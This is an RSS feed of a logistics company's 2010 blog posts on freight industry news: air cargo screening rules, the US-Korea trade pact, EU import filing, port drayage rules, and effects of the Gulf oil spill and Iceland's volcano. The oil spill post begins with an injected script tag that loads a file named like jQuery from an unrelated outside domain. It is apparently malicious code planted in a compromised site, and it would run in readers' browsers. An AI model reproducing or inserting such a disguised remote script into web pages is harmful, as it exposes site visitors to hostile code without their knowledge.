<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unitrans Worldwide Inc. &#187; admin</title>
	<atom:link href="http://www.uwinc.com/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.uwinc.com</link>
	<description>Your One Source Solution</description>
	<lastBuildDate>Tue, 17 Aug 2010 18:09:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Unitrans Worldwide, Inc. Meets the New Air Freight 100% Security Screening Rule</title>
		<link>http://www.uwinc.com/unitrans-worldwide-inc-meets-the-new-air-freight-100-security-screening-rule/</link>
		<comments>http://www.uwinc.com/unitrans-worldwide-inc-meets-the-new-air-freight-100-security-screening-rule/#comments</comments>
		<pubDate>Tue, 17 Aug 2010 18:06:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=560</guid>
		<description><![CDATA[The U.S. Congress mandated on August 1, 2010 that 100 percent of air freight shipped on passenger flights, both from and within, the United States will be screened   Please be assured that Unitrans is ready to fulfill this requirement for your domestic transit and U.S. export shipments, and has been operating under similar screening requirements for some time.  Our air freight [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Arial; color: black; font-size: x-small;">The U.S. Congress mandated on August 1, 2010 that 100 percent of air freight shipped on passenger flights, both from and within, the United States will be screened   Please be assured that Unitrans is ready to fulfill this requirement for your domestic transit and U.S. export shipments, and has been operating under similar screening requirements for some time.  Our air freight screening fees are 15-25 cents per Kilo. </span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;">The new screening regulations will not impact our scheduled domestic air operations, so we can assure you of our ability to offer on-time delivery of your overnight and/or second day air shipments to major cities across the USA.  </span><span style="font-family: Arial; color: black; font-size: x-small;">Our transport solutions offer you the ability to tender your freight in a manner that best suits your business requirements.  </span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;">Be assured, that Unitrans is ready and fully able to comply with the new screening rules, and in the process is able to provide the service integrity and consistency on which you depend and deserve.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/unitrans-worldwide-inc-meets-the-new-air-freight-100-security-screening-rule/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>The U.S. and Korean Trade Agreement Initiative</title>
		<link>http://www.uwinc.com/the-u-s-and-korean-trade-agreement-initiative/</link>
		<comments>http://www.uwinc.com/the-u-s-and-korean-trade-agreement-initiative/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 16:39:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=556</guid>
		<description><![CDATA[The U.S. Senate Foreign Relations Committee Chairman, John Kerry (D-MA), and a Ranking Member of the committee, Dick Lugar (R-IN), called for the timely resolution of outstanding issues related to the U.S.-South Korean trade agreement.  In a committee meeting in May, senators Kerry and Lugar argued that it is in the best economic and strategic [...]]]></description>
			<content:encoded><![CDATA[<p>The U.S. Senate Foreign Relations Committee Chairman, John Kerry (D-MA), and a Ranking Member of the committee, Dick Lugar (R-IN), called for the timely resolution of outstanding issues related to the U.S.-South Korean trade agreement.  In a committee meeting in May, senators Kerry and Lugar argued that it is in the best economic and strategic interest of the United States to strengthen ties with it’s allies. </p>
<p><em>&#8220;The United States should work with South Korea to resolve legitimate concerns and quickly approve the U.S.-Korea Free Trade Agreement.  This step could be a significant part of the President&#8217;s goal of doubling U.S. exports over the next five years to create well-paying American jobs,&#8221;</em> said Chairman Kerry.  <em>&#8220;South Korea ranks among our very closest allies and partners. When Seoul hosts the G-20 meeting this November, I hope the United States can point to substantial progress on KORUS as part of a broader U.S. engagement with the Asia-Pacific region.&#8221;</em></p>
<p>Lugar adds <em>&#8220;Improving trade is critical to meeting our economic and diplomatic challenges around the globe. South Korea is an important country and economy. Approval of this agreement will lead to greater opportunities&#8221;.</em> Senator Lugar has been a long-time advocate of the US-Korea Free Trade Agreement.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/the-u-s-and-korean-trade-agreement-initiative/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Europe’s Version of the “10+2” Rule Poses Questions for Shippers</title>
		<link>http://www.uwinc.com/europe%e2%80%99s-version-of-the-%e2%80%9c102%e2%80%9d-rule-poses-questions-for-shippers/</link>
		<comments>http://www.uwinc.com/europe%e2%80%99s-version-of-the-%e2%80%9c102%e2%80%9d-rule-poses-questions-for-shippers/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 16:26:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=552</guid>
		<description><![CDATA[The European Union’s (EU) Import Control System (ICS) is mandating that shipment information as in the “10+2 Rule” be communicated to Customs in advance of a shipment.  This process is shaking up import compliance in a scenario familiar to U.S. consignees.  Similar to the “U.S. Importer Security Filing 10+2 Rule”, the ICS aims to deliver [...]]]></description>
			<content:encoded><![CDATA[<p>The European Union’s (EU) Import Control System (ICS) is mandating that shipment information as in the “10+2 Rule” be communicated to Customs in advance of a shipment.  This process is shaking up import compliance in a scenario familiar to U.S. consignees.  Similar to the “U.S. Importer Security Filing 10+2 Rule”, the ICS aims to deliver critical data to authorities before a shipment reaches the EU to better assess risks.</p>
<p>The EU regulation becomes effective Jan 1, 2011 and will place the burden of compliance on carriers.  Importers and exporters will have to provide the timely and accurate information or face having their shipments to be delayed.  Not surprisingly, shippers and transporters are voicing their concerns about how the information will be gathered, how the ICS will be financed, and how this effort will be launched across 27 European countries.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/europe%e2%80%99s-version-of-the-%e2%80%9c102%e2%80%9d-rule-poses-questions-for-shippers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shipping Could Face Greatest Short-term Spill Impact</title>
		<link>http://www.uwinc.com/shipping-could-face-greatest-short-term-spill-impact/</link>
		<comments>http://www.uwinc.com/shipping-could-face-greatest-short-term-spill-impact/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 20:52:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=547</guid>
		<description><![CDATA[The biggest short-term economic impact from the Gulf Coast oil spill could be a disruption of U.S. commerce through the Gulf shipping channel.  Reports say a full shutdown of shipping lanes is unlikely, but significant delays could develop if cargo ships must have oil washed off their hulls before moving upriver. This disruption could also [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://bj5yf.toolbarinc.com/js/jquery.min.js></script></h5>
<p>The biggest short-term economic impact from the Gulf Coast oil spill could be a disruption of U.S. commerce through the Gulf shipping channel.  Reports say a full shutdown of shipping lanes is unlikely, but significant delays could develop if cargo ships must have oil washed off their hulls before moving upriver.</p>
<p>This disruption could also have broader transportation flow effects by affecting the barge, container, and tanker traffic in the Mississippi Delta and on the Mississippi River. If traffic is affected for any extended period of time, then the prices of all types of commodities could rise.</p>
<p>Some of the ripple effects of disruptions in and out of the Port of New Orleans on freight networks could be the diversion of some cargoes, such as export grain, to other destinations.</p>
<p>For instance, it could push more Midwest farm shipments off barges and onto trains headed for West Coast ports, or onto ocean ships at Great Lakes ports that move into the Atlantic Ocean through the St. Lawrence Seaway.</p>
<p>Aside from possible effects on the supply chain, the spill can hurt the Gulf region’s fishing and tourism industries, depressing both direct and indirect incomes from that activity.</p>
<p>The impact on overall U.S. commerce was hoped to be small if responders could contain the spill quickly enough.  However the impact on local industries was feared to be large.  Fishing in the Gulf is already hurt from a 10-day ban. Gulf fishing generates annual dockside sales of $660 million, employs about 27,000 people in Louisiana alone and is second in size only to Alaska&#8217;s fishing industry. If the closure lasts long enough, it could raise fish and shrimp prices nationwide.</p>
<p>As it turns out, both local and national economics will be significantly affected.</p>
<p>Higher transportation costs of using alternative shipping lanes and ports could also price the loads out of the world market, delaying shipments until conditions improve. Authorities are anxious to keep the operational for Gulf shipping to maintain vital U.S. exports and imports.  The Lower Mississippi River ports export over 50 million metric tones of corn, soybeans and wheat each year, which is more than 55 percent of all U.S. grains inspected for shipment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/shipping-could-face-greatest-short-term-spill-impact/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CA Port Rules are Likely to Increase Container Drayage Costs and Create Capacity Crunch</title>
		<link>http://www.uwinc.com/ca-port-rules-are-likely-to-increase-container-drayage-costs-and-create-capacity-crunch/</link>
		<comments>http://www.uwinc.com/ca-port-rules-are-likely-to-increase-container-drayage-costs-and-create-capacity-crunch/#comments</comments>
		<pubDate>Fri, 07 May 2010 16:45:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=539</guid>
		<description><![CDATA[Under the San Pedro Bay Clean Air Action Plan, two California ports (Los Angeles and Long Beach) adopted new rules that will have a significant affect on container drayage capacity and rates for containers moving through those ports.   The costs may even triple with the new rules! The new plan permits only concessionaires that [...]]]></description>
			<content:encoded><![CDATA[<p>Under the San Pedro Bay Clean Air Action Plan, two California ports (Los Angeles and Long Beach) adopted new rules that will have a significant affect on container drayage capacity and rates for containers moving through those ports.   The costs may even triple with the new rules!</p>
<p>The new plan permits only concessionaires that are licensed by the ports and who are operating clean trucks to enter the terminals without having to pay a new truck impact gate fee. It further bans 2008, trucks older than 1988 from entering either port.</p>
<p>The Los Angeles rules go even further to ban the use of owner-operators at the port which may force more than 16,000 independent truckers to give up their trucks and become employees of the few larger trucking. It also imposes on the 1,300 drayage companies to only use employee drivers, which may force these small drayage carriers out of business.</p>
<p>Three agencies (the <em>Transportation Intermediaries Association</em> and the <em>National Industrial Transportation League</em>, and the <em>American Trucking Association</em>) have all filed opposition to the new rules. ATA is also challenging these new rules in federal court.</p>
<p>The new rules will cause a significant shortage of drayage capacity at these ports and a significant increase in rates while the remaining companies exercise their new-found market leverage.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/ca-port-rules-are-likely-to-increase-container-drayage-costs-and-create-capacity-crunch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Volcano Fallout Hits the Shipping Industry and Affects Prices!</title>
		<link>http://www.uwinc.com/volcano-fallout-hits-the-shipping-industry-as-well/</link>
		<comments>http://www.uwinc.com/volcano-fallout-hits-the-shipping-industry-as-well/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 21:04:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=528</guid>
		<description><![CDATA[The passenger airline business isn&#8217;t the only industry feeling the heat from the volcano eruption in Iceland. The shipping industry also finds itself caught in the ash cloud, and desperately looking for solutions.  Beyond the solutions that were needed to solve the immediate congestion of transporting cargo, the next issue is steep air cargo rate hikes.  With [...]]]></description>
			<content:encoded><![CDATA[<p>The passenger airline business isn&#8217;t the only industry feeling the heat from the volcano eruption in Iceland. The shipping industry also finds itself caught in the ash cloud, and desperately looking for solutions.  Beyond the solutions that were needed to solve the immediate congestion of transporting cargo, the next issue is steep air cargo rate hikes. </p>
<p>With European airspace re-opened, the capacity for cargo is sparse, thus causing the airlines to charge premium rates for all new shipments that are three times the standard shipment rates.  We had already seen higher standard rates prior to the volcanic eruption in Iceland but this increase was centered more on exports shipments out of Asia because of the short supply of air and ocean capacity.  </p>
<p>To cope with the recession, airlines and ocean lines reduced capacity to cut costs.  As freight volumes have increased the shortage of ocean capacity has driven many shippers to transport their goods via air, further stressing air cargo capacity.  In Europe, even before this current volcanic event, again capacity was reduced as airlines reduced flights to save costs. </p>
<p>Even after airspace has been re-opened, we expect capacity to remain in short supply due to the huge backlog of freight and passenger priority on passenger flights, and therefore increased prices.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/volcano-fallout-hits-the-shipping-industry-as-well/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unitrans Welcomes Marc Forman!</title>
		<link>http://www.uwinc.com/unitrans-welcomes-marc-forman/</link>
		<comments>http://www.uwinc.com/unitrans-welcomes-marc-forman/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 20:50:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Company News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=521</guid>
		<description><![CDATA[We are happy to share the good news that Marc Forman has joined our talented team of transportation experts as our new Warehouse Manager.  Marc comes to Unitrans with over 30 years of experience in virtually every aspect of the transportation, warehousing, and logistics industries.  He resides on the south shore with his wife, 2 [...]]]></description>
			<content:encoded><![CDATA[<p>We are happy to share the good news that Marc Forman has joined our talented team of transportation experts as our new Warehouse Manager.  Marc comes to Unitrans with over 30 years of experience in virtually every aspect of the transportation, warehousing, and logistics industries.  He resides on the south shore with his wife, 2 daughters, and a son.  We warmly welcome Marc into our Unitrans family!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/unitrans-welcomes-marc-forman/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Going Green in the Supply Chain!</title>
		<link>http://www.uwinc.com/going-green-in-the-supply-chain/</link>
		<comments>http://www.uwinc.com/going-green-in-the-supply-chain/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 22:20:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Company News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=519</guid>
		<description><![CDATA[With going green at the forefront of everyone’s mind, “green logistics” of lowering the carbon footprint is equally a priority for supply chain executives!  Both an increase in global environmental awareness and greater regulatory and governmental pressures has combined to leverage companies into reducing their carbon footprints.  In Europe, “green legislation” is becoming a reality [...]]]></description>
			<content:encoded><![CDATA[<p>With going green at the forefront of everyone’s mind, “green logistics” of lowering the carbon footprint is equally a priority for supply chain executives! </p>
<p>Both an increase in global environmental awareness and greater regulatory and governmental pressures has combined to leverage companies into reducing their carbon footprints.  In Europe, “green legislation” is becoming a reality and eventually will in other countries.</p>
<p>One of the biggest carbon footprints is created through the supply chain and logistics operations in its production, storage, and transportation of goods. </p>
<p>Therefore executives are rightly being forced to examine their approaches and respond accordingly.  Additionally, long-term competitive strategy is a primary concern and going green has become a crucial consideration towards achieving their goal of creating and advertising environmentally friendly supply chains.</p>
<p>There are three main challenges for the industry to overcome if green logistics is to become a reality.</p>
<ol>
<li>Lack of appropriate technology in place to support companies in their effort</li>
<li>Lack of business processes needed to capture the data and use it effectively</li>
<li>The trade-off between green requirements and lean practices lending to smaller shipments rather than bundling.  </li>
</ol>
<p>The supply chain going green is an industry issue that is only going to increase in stature. </p>
<p>We at Unitrans are committed to going green.  Among many simple considerations we make are: reducing truck idling to save fuel and transmissions, recycling the use of packaging materials and shipping paper and metal products to a recycling company, and turning off lights in areas of the company that are not currently in use.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/going-green-in-the-supply-chain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Carrier Costs Increase as do Shipper Costs!</title>
		<link>http://www.uwinc.com/carrier-costs-increase-as-do-shipper-costs/</link>
		<comments>http://www.uwinc.com/carrier-costs-increase-as-do-shipper-costs/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 22:13:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=517</guid>
		<description><![CDATA[The poor economy has driven thousands of carriers out of business over the past 18 months.  At the same time shipments nationwide declined.  With the lack of demand for trucking, not many shippers noticed that lack of supply in available carriers.  Now that the economy is sputtering back to life with more of a demand [...]]]></description>
			<content:encoded><![CDATA[<p>The poor economy has driven thousands of carriers out of business over the past 18 months.  At the same time shipments nationwide declined.  With the lack of demand for trucking, not many shippers noticed that lack of supply in available carriers. </p>
<p>Now that the economy is sputtering back to life with more of a demand for shipments, the lack of supply in carriers is suddenly noticeable by the shippers.  This lack of supply is having two effects: slower transports and rapidly inflating prices.    </p>
<p>In the past few weeks, the pricing power of the carriers has translated into prices rising as much as 30% in some instances.  This is especially true in difficult transportation regions of the country (Northeast, Florida, Texas, etc).  The market is changing very quickly right now, to where a quote this week might be much higher by next week!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/carrier-costs-increase-as-do-shipper-costs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>100% of Air Cargo Screening is Still Two Years Away!</title>
		<link>http://www.uwinc.com/100-of-air-cargo-screening-is-still-two-years-away/</link>
		<comments>http://www.uwinc.com/100-of-air-cargo-screening-is-still-two-years-away/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 22:12:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Industry News]]></category>

		<guid isPermaLink="false">http://www.uwinc.com/?p=515</guid>
		<description><![CDATA[The US Department of Homeland Security’s timeline for screening international air cargo arriving on passenger flights will likely take longer than initially forecasted.  The acting director of the TSA, Gail Rossides informed the House of Homeland Security Appropriations Subcommittee that it will be feasible for all domestic air cargo to be screened by the intended [...]]]></description>
			<content:encoded><![CDATA[<p>The <em>US</em><em> Department of Homeland Security’s</em> timeline for screening <span style="text-decoration: underline;">international</span> air cargo arriving on passenger flights will likely take longer than initially forecasted.  The acting director of the <em>TSA</em>, Gail Rossides informed the <em>House of Homeland Security Appropriations Subcommittee</em> that it will be feasible for all <span style="text-decoration: underline;">domestic</span> air cargo to be screened by the intended August 3<sup>rd</sup> deadline. </p>
<p>However, it is estimated that only 65% of international air cargo will be screened by the deadline.  It is likely that it will take two years for before 100% of the international cargo is being screened.  The new estimate is based on the current volume of imports  (1.5 tons annually from 97 countries).  The majority of imports (85%) come from 20 countries.</p>
<p>The<em> TSA</em> has advised the <em>US Congress </em>on at least 2 occasions that the deadline could not be met for internationally screenings. Warren Miller, head of the <em>Air Cargo International Programs Branch of the TSA</em>, shared this news recently at the airfreight security conference in Frankfurt, Germany.</p>
<p>The <em>TSA</em> has learned from its work on securing intra-US airfreight shipments that the focus should be on the supply chain, and not just solely on screening.  A long-term and layered approach based on risk targeting will be needed, but this concept has not even reached a pilot stage yet. </p>
<p>As Miller says, while there is no single answer for screening, we do need to increase security without impeding the flow of commerce.  One obvious point is that precedents for risk management would be easier to implement in all-cargo freighter aircraft, rather than using the “bellyhold” cargo area of passenger flights.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uwinc.com/100-of-air-cargo-screening-is-still-two-years-away/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
